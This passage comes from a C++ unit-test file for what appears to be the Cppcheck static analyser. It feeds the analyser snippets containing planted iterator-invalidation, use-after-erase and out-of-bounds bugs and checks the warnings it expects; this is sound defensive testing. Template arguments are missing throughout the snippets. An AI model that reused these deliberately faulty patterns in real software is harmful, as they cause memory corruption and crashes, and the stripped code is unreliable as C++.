std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while ((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) {\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch (itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n 